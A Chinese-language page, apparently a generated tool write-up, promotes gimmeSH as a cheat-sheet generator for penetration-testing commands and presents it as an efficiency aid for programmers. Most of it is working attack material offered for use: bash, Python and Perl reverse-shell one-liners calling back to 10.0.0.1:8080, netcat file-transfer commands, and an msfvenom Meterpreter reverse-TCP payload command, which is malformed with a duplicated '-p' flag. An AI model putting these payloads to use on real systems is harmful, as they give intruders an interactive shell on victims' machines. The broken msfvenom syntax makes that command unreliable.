📜  gimmeSH – 为 Reverse Shell、文件传输和 Msfvenom 生成自定义备忘单(1)

📅  最后修改于: 2023-12-03 15:15:15.962000             🧑  作者: Mango

gimmeSH - 为 Reverse Shell、文件传输和 Msfvenom 生成自定义备忘单

简介

gimmeSH 是一个针对 Reverse Shell、文件传输和 Msfvenom 的自定义备忘单工具。它可以帮助程序员快速访问各种常用的命令和选项,提高工作效率和准确性。

Reverse Shell
生成 Reverse Shell Payload

使用 gimmeSH,您可以轻松生成各种 Reverse Shell Payloads,其中包括常用的 bash、python、perl、php 等。以下是一些示例:

# Bash Reverse Shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# Python Reverse Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Perl Reverse Shell
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
常用 Reverse Shell Payloads 集合

gimmeSH 提供了一份常用 Reverse Shell Payloads 的集合,包含多种语言和平台,以适应不同的需求。您可以在 Reverse Shell Payloads 集合 中查看并使用这些 Payloads。

文件传输
通过 SSH 进行文件传输

gimmeSH 还提供了方便的 SSH 文件传输命令,您可以使用以下命令将本地文件上传到远程服务器或从远程服务器下载文件:

# 上传本地文件到远程服务器
scp local_file.txt user@remote_host:/path/to/destination

# 从远程服务器下载文件到本地
scp user@remote_host:/path/to/file remote_file.txt
通过 Netcat 进行文件传输

使用 gimmeSH,您可以通过 Netcat 快速实现文件传输。以下是一些示例:

# 从远程服务器下载文件到本地
nc -nlvp 8080 > received_file

# 向远程服务器上传文件
nc -nv remote_host 8080 < local_file
Msfvenom
Msfvenom Payload 生成

gimmeSH 还支持 Msfvenom Payload 的自定义生成。可以使用以下命令生成指定类型、IP 和端口的 Payload:

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.1 -p LPORT=8080 -o payload.jar
Msfvenom 常用选项备忘

gimmeSH 提供了 Msfvenom 常用选项备忘单,以便您快速查找并使用不同选项。您可以在 Msfvenom 常用选项备忘单 中查看并使用这些选项。

以上就是 gimmeSH 提供的一些主要功能和使用示例。使用 gimmeSH,您可以更加高效地进行 Reverse Shell、文件传输和 Msfvenom 相关操作,提高工作效率和准确性。